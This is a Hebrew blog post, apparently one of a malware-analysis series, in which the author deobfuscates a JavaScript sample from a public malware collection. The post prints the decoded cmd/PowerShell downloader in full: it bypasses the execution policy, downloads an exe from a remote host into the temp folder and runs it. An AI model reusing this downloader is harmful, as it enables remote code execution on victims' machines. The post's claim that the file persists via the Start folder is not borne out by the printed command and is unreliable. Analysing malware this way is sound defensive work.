חיפוש
  • יניב אור

ניתוח malware שנכתב ב-JavaScript - וירוס 3

עודכן ב: מאי 19

האינדקס לסדרת המאמרים:

ניתוח וירוסים


מתוך אוסף הנוזקות הבא:

https://github.com/HynekPetrak/javascript-malware-collection


בחרתי באופן שרירותי בוירוס הבא. תיקיית 2017 בתוכה תיקיה 20170303 - הקובץ:

20170303_7b7ca63d72bfadf876a1800ae472f8f3.js


מדובר על אוסף של פונקציות פשוטות שמקבלות ומחזירות ערכים וקוראות אחת לשניה במעין תסבוכת, כדי ליצור הסוואה של הקוד. אנסה לבדוק איך מפענחים דבר כזה.


הדבר הראשון שעשיתי היה לקחת את כל הגדרות המשתנים המפוזרות בקוד - ראו: שורה 50 ושורה 390, למשל - ולהעביר אותן לראש הקובץ כדי ליצור טיפה סדר.


הדבר הבא הוא להציב את המשתנים הללו במקומם המתאים בקוד ולמחוק אותם מראש הקובץ.


אז הקישקוש הזה, למשל:

הוא בסך הכל:

יש דוגמא נוספת בסגנון הזה, נגיע אליה בהמשך.


לאחר נקיונות וצמצומים, קיבלתי את הקוד הבא.

בשורה 355 יש את הקוד הבא:

שיניתי את eludehumz ל-activeXObject - כדי שהקוד יהיה הגיוני יותר וברור. שיניתי בהתאם את שם המשתנה בשורה 357.

נתייחס למערך שמופיע בשורה 357 ב-activeXObject.

מדובר על מערך שבסופו של דבר יש התייחסות אך ורק לאיבר ה-1 שלו, וכל השורה הזאת מצטמצמת לערך הבא:

כך שאנחנו מקבלים את השורת קוד הבאה:

אז ה-instance של האובייקט ActiveXObject מריץ את הפונקציה run שמקבלת שני פרמטרים. הפרמטר הראשון הוא הבלוק הענק שמרכיב את הקוד - בקריאה לפונקציות הקטנות שנמצאות בראש הקובץ. הפרמטר השני הוא 0.


את הקוד בין השורות 354 עד 358 עטפתי בהערה כך שלא יתבצע. העתקתי את הבלוק הגדול - הפרמטר הראשון של run - למקום חדש בקובץ ועטפתי אותו ב-console.log. הרצתי אותו עם NodeJS וקיבלתי את הקוד הבא:

cmd.exe /c "powershell $rfylyqx='^($env:t';$pune='^ect Sys';$uvimdy='^.Webcli';$ynhiwi='^exe'');(';$gxuwhu='^ile(''ht';$mlemde='^rocess;';$ahnar='^Process';$dokysw='^tp://ww';$icozv='^cutionP';$qoxiq='^lexas.t';$rrorbyg='^New-Obj';$ecgijx='^ent).Do';$vciqfe='^ $path';$attozv='^wnloadF';$idkocju='^ $path=';$isvylji='^emp+''\h';$hidarc='^olicy B';$onvizu='^$path);';$enah='^op/user';$irbyhu='^tem.Net';$xmodab='^1.gif'',';$ufwanr='^naqloj.';$asusx='^.php?f=';$ezsovx='^ypass -';$omwuhy='^Set-Exe';$lbuvi='^ Start-';$aqdoci='^Scope P';$mpugurj='^w.foola'; Invoke-Expression ($omwuhy+$icozv+$hidarc+$ezsovx+$aqdoci+$mlemde+$idkocju+$rfylyqx+$isvylji+$ufwanr+$ynhiwi+$rrorbyg+$pune+$irbyhu+$uvimdy+$ecgijx+$attozv+$gxuwhu+$dokysw+$mpugurj+$qoxiq+$enah+$asusx+$xmodab+$onvizu+$lbuvi+$ahnar+$vciqfe);\"


נראה טוב. עכשיו לפענח את הדבר הזה. וקיבלנו:

cmd.exe /c "powershell Invoke-Expression ( Set-ExecutionPolicy Bypass - Scope Process; $path=($env:temp+''\hnaqloj.exe''); (New-Object System.Net.Webclient).DownloadFile('' http://www.foolalexas.top/user.php?f=1.gif'', $path); Start-Process $path);\"


ובשילוב עם קוד ה-JavaScript זה נראה כך:


אז יש כאן שימוש ב-ActiveX שנמצא בדפדפן IE - אברר בהמשך באילו גירסאות וכולי - על Windows, כמובן. באמצעות ה-ActiveX יש אפשרות לתת הוראות למערכת ההפעלה. במקרה שלנו, לפתוח cmd ודרכו powershell אשר מבצע פעולה של קריאה לסקריפט php על שרת מרוחק. המידע שמתקבל מכיל קוד ריצה בינארי אשר מועתק לקובץ exe. הקובץ הזה מועתק לתיקיית Start ויופעל בכל אתחול של המערכת.


אני צריך לבדוק מה הפקודה Set-ExecutionPolicy Bypass וכן הלאה עושה, אבל אני מניח שהיא אומרת למערכת ההפעלה לתת הרשאות לביצוע הפקודות שציינתי קודם לכן.


בהמשך, אריץ את הפקודות כשבשרת מרוחק יהיה סקריפט שלי, כמובן. משום שתוכן קובץ ה-exe לא ידוע, אבחר שרירותית פקודה שתרוץ. לאחר מכן, אברר אילו פקודות בדרך כלל מעבירים לקובץ ריצה מסוג כזה ומה הוא אמור לבצע.


בדיקת הוירוס במעבדת cuckoo


© 2023 by DO IT YOURSELF. Proudly created with Wix.com